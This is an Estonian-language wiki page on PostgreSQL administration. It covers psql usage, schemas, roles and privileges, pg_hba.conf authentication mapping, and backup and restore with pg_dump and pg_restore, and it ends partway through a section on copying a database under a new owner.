Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
